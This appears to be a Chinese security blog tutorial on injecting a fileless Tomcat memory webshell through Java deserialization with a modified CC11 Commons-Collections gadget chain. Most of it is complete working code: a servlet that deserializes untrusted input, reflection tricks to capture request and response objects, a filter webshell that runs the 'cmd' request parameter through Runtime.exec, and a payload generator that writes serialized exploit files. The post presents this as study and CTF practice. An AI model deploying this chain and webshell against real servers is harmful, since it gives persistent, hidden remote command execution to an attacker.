Java 反序列化打内存马

0x01 前言

其实这篇文章早就该写了，只是因为自己一些个人原因和犯懒癌一直搁置，最近要开始了。

当然看这道题目的最主要原因是因为内存马的应用面太广了，很多不出网的场景、以及攻防的场景都可以用到。

像之前的文章，Tomcat 的三种内存马，实际上都只是一种简单的实验，而非完全能够应用，就算应用起来也是有文件落地现象的，这并非是真正的内存马。

而且在之前 2022 祥云杯上，也出了一道 Java CC4 链的不出网写内存马的题目，处于相当好奇的原因，写下了这篇文章。

所以在这篇文章中，我们来学习利用反序列化来实现真正意义上的内存马的注入，本文中会结合 cc11 来进行内存马注入，这样可以实现真正的文件不落地，在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象，所以在回显问题上不用考虑，但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方，这也是本文学习的一个点

0x02 回显问题

已总结在本文中，不再赘述

https://drun1baby.github.io/2022/11/30/Java-%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/

0x03 反序列化打内存马

半通用回显 Tomcat 打内存马

这里要用 web-app 的项目，并且用低版本的 Tomcat

先写一个 servlet

import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.ObjectInputStream;  
  
@WebServlet("/cc")  
public class CCServlet extends HttpServlet {  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {  
        InputStream inputStream = (InputStream) req;  
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);  
        try {  
            objectInputStream.readObject();  
        } catch (ClassNotFoundException e) {  
            e.printStackTrace();  
        }  
        resp.getWriter().write("Success");  
    }  
  
    @Override  
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {  
        InputStream inputStream = req.getInputStream();  
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);  
        try {  
            objectInputStream.readObject();  
        } catch (ClassNotFoundException e) {  
            e.printStackTrace();  
        }  
        resp.getWriter().write("Success");  
    }  
}

接着，实现 Kingkk 师傅提出来的 Tomcat 半通用回显。这一步在 Java 回显技术的文章里面已经讲的比较清楚了。

package EXP;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.lang.reflect.Modifier;  
  
public class TomcatEcho extends AbstractTranslet {  
  
    static {  
        try {  
            // 修改 WRAP_SAME_OBJECT 值为 true            Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");  
            java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");  
            java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");    //获取modifiers字段  
            modifiersField.setAccessible(true);   //将变量设置为可访问  
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性  
            f.setAccessible(true);    //将变量设置为可访问  
            if (!f.getBoolean(null)) {  
                f.setBoolean(null, true); //将变量设置为true  
            }  
  
            // 初始化 lastServicedRequest & lastServicedResponse            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");  
            f = c.getDeclaredField("lastServicedRequest");  
            modifiersField = f.getClass().getDeclaredField("modifiers");  
            modifiersField.setAccessible(true);  
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);  
            f.setAccessible(true);  
            if (f.get(null) == null) {  
                f.set(null, new ThreadLocal());   //设置ThreadLocal对象  
            }  
  
            f = c.getDeclaredField("lastServicedResponse");  
            modifiersField = f.getClass().getDeclaredField("modifiers");  
            modifiersField.setAccessible(true);  
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);  
            f.setAccessible(true);  
            if (f.get(null) == null) {  
                f.set(null, new ThreadLocal());   //设置ThreadLocal对象  
            }  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)  
            throws TransletException {  
  
    }  
}

然后是取出 request 和 response 并注入 filter，和之前 filter 内存马的写法有很多相似之处。

package EXP;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.apache.catalina.LifecycleState;  
import org.apache.catalina.core.ApplicationContext;  
import org.apache.catalina.core.StandardContext;  
  
import java.io.IOException;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import javax.servlet.Filter;  
import javax.servlet.FilterChain;  
import javax.servlet.FilterConfig;  
import javax.servlet.ServletContext;  
import javax.servlet.ServletException;  
import javax.servlet.ServletRequest;  
import javax.servlet.ServletResponse;  
  
/**  
 * @author threedr3am  
 */public class TomcatInject extends AbstractTranslet implements Filter {  
  
    /**  
     * webshell命令参数名  
     */  
    private final String cmdParamName = "cmd";  
    private final static String filterUrlPattern = "/*";  
    private final static String filterName = "Drunkbaby";  
  
    static {  
        try {  
            ServletContext servletContext = getServletContext();  
            if (servletContext != null){  
                Field ctx = servletContext.getClass().getDeclaredField("context");  
                ctx.setAccessible(true);  
                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);  
  
                Field stdctx = appctx.getClass().getDeclaredField("context");  
                stdctx.setAccessible(true);  
                StandardContext standardContext = (StandardContext) stdctx.get(appctx);  
  
                if (standardContext != null){  
                    // 这样设置不会抛出报错  
                    Field stateField = org.apache.catalina.util.LifecycleBase.class  
                            .getDeclaredField("state");  
                    stateField.setAccessible(true);  
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);  
  
                    Filter myFilter =new TomcatInject();  
                    // 调用 doFilter 来动态添加我们的 Filter                    // 这里也可以利用反射来添加我们的 Filter                    javax.servlet.FilterRegistration.Dynamic filterRegistration =  
                            servletContext.addFilter(filterName,myFilter);  
  
                    // 进行一些简单的设置  
                    filterRegistration.setInitParameter("encoding", "utf-8");  
                    filterRegistration.setAsyncSupported(false);  
                    // 设置基本的 url pattern                    filterRegistration  
                            .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,  
                                    new String[]{"/*"});  
  
                    // 将服务重新修改回来，不然的话服务会无法正常进行  
                    if (stateField != null){  
                        stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);  
                    }  
  
                    // 在设置之后我们需要 调用 filterstart                    if (standardContext != null){  
                        // 设置filter之后调用 filterstart 来启动我们的 filter                        Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");  
                        filterStartMethod.setAccessible(true);  
                        filterStartMethod.invoke(standardContext,null);  
  
                        /**  
                         * 将我们的 filtermap 插入到最前面  
                         */  
  
                        Class ccc = null;  
                        try {  
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");  
                        } catch (Throwable t){}  
                        if (ccc == null) {  
                            try {  
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");  
                            } catch (Throwable t){}  
                        }  
                        //把filter插到第一位  
                        Method m = Class.forName("org.apache.catalina.core.StandardContext")  
                                .getDeclaredMethod("findFilterMaps");  
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);  
                        Object[] tmpFilterMaps = new Object[filterMaps.length];  
                        int index = 1;  
                        for (int i = 0; i < filterMaps.length; i++) {  
                            Object o = filterMaps[i];  
                            m = ccc.getMethod("getFilterName");  
                            String name = (String) m.invoke(o);  
                            if (name.equalsIgnoreCase(filterName)) {  
                                tmpFilterMaps[0] = o;  
                            } else {  
                                tmpFilterMaps[index++] = filterMaps[i];  
                            }  
                        }  
                        for (int i = 0; i < filterMaps.length; i++) {  
                            filterMaps[i] = tmpFilterMaps[i];  
                        }  
                    }  
                }  
  
            }  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    private static ServletContext getServletContext()  
            throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  
        ServletRequest servletRequest = null;  
        /*shell注入，前提需要能拿到request、response等*/  
        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");  
        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");  
        f.setAccessible(true);  
        ThreadLocal threadLocal = (ThreadLocal) f.get(null);  
        //不为空则意味着第一次反序列化的准备工作已成功  
        if (threadLocal != null && threadLocal.get() != null) {  
            servletRequest = (ServletRequest) threadLocal.get();  
        }  
        //如果不能去到request，则换一种方式尝试获取  
  
        //spring获取法1  
        if (servletRequest == null) {  
            try {  
                c = Class.forName("org.springframework.web.context.request.RequestContextHolder");  
                Method m = c.getMethod("getRequestAttributes");  
                Object o = m.invoke(null);  
                c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");  
                m = c.getMethod("getRequest");  
                servletRequest = (ServletRequest) m.invoke(o);  
            } catch (Throwable t) {}  
        }  
        if (servletRequest != null)  
            return servletRequest.getServletContext();  
  
        //spring获取法2  
        try {  
            c = Class.forName("org.springframework.web.context.ContextLoader");  
            Method m = c.getMethod("getCurrentWebApplicationContext");  
            Object o = m.invoke(null);  
            c = Class.forName("org.springframework.web.context.WebApplicationContext");  
            m = c.getMethod("getServletContext");  
            ServletContext servletContext = (ServletContext) m.invoke(o);  
            return servletContext;  
        } catch (Throwable t) {}  
        return null;  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)  
            throws TransletException {  
  
    }  
  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
  
    }  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,  
                         FilterChain filterChain) throws IOException, ServletException {  
        System.out.println(  
                "TomcatShellInject doFilter.....................................................................");  
        String cmd;  
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {  
            Process process = Runtime.getRuntime().exec(cmd);  
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(  
                    new java.io.InputStreamReader(process.getInputStream()));  
            StringBuilder stringBuilder = new StringBuilder();  
            String line;  
            while ((line = bufferedReader.readLine()) != null) {  
                stringBuilder.append(line + '\n');  
            }  
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());  
            servletResponse.getOutputStream().flush();  
            servletResponse.getOutputStream().close();  
            return;  
        }  
        filterChain.doFilter(servletRequest, servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

如此一来，我们接下来只需要注入即可，这点在《Java 回显技术》一文当中我也有提到过，必须是要通过动态加载字节码的形式，才可以打，所以这里我们用魔改的 CC11 链子

package EXP;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.HashSet;  
  
@SuppressWarnings("all")  
public class CC11Template {  
  
    public static void main(String[] args) throws Exception {  
        byte[] bytes = getBytes();  
        byte[][] targetByteCodes = new byte[][]{bytes};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
  
        Field f0 = templates.getClass().getDeclaredField("_bytecodes");  
        f0.setAccessible(true);  
        f0.set(templates,targetByteCodes);  
  
        f0 = templates.getClass().getDeclaredField("_name");  
        f0.setAccessible(true);  
        f0.set(templates,"name");  
  
        f0 = templates.getClass().getDeclaredField("_class");  
        f0.setAccessible(true);  
        f0.set(templates,null);  
  
        // 利用反射调用 templates 中的 newTransformer 方法  
        InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);  
        HashMap innermap = new HashMap();  
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);  
        TiedMapEntry tiedmap = new TiedMapEntry(map,templates);  
        HashSet hashset = new HashSet(1);  
        hashset.add("foo");  
        // 我们要设置 HashSet 的 map 为我们的 HashMap        Field f = null;  
        try {  
            f = HashSet.class.getDeclaredField("map");  
        } catch (NoSuchFieldException e) {  
            f = HashSet.class.getDeclaredField("backingMap");  
        }  
        f.setAccessible(true);  
        HashMap hashset_map = (HashMap) f.get(hashset);  
  
        Field f2 = null;  
        try {  
            f2 = HashMap.class.getDeclaredField("table");  
        } catch (NoSuchFieldException e) {  
            f2 = HashMap.class.getDeclaredField("elementData");  
        }  
  
        f2.setAccessible(true);  
        Object[] array = (Object[])f2.get(hashset_map);  
  
        Object node = array[0];  
        if(node == null){  
            node = array[1];  
        }  
        Field keyField = null;  
        try{  
            keyField = node.getClass().getDeclaredField("key");  
        }catch(Exception e){  
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");  
        }  
        keyField.setAccessible(true);  
        keyField.set(node,tiedmap);  
  
        // 在 invoke 之后，  
        Field f3 = transformer.getClass().getDeclaredField("iMethodName");  
        f3.setAccessible(true);  
        f3.set(transformer,"newTransformer");  
  
        try{  
            //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));  
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));  
            outputStream.writeObject(hashset);  
            outputStream.close();  
  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
    }  
  
    public static byte[] getBytes() throws IOException {  
        //    第一次  
        //        InputStream inputStream = new FileInputStream(new File("E://TomcatEcho.class"));  
        //  第二次  
        InputStream inputStream = new FileInputStream(new File("E://TomcatInject.class"));  
  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        int n = 0;  
        while ((n=inputStream.read())!=-1){  
            byteArrayOutputStream.write(n);  
        }  
        byte[] bytes = byteArrayOutputStream.toByteArray();  
        return bytes;  
    }  
}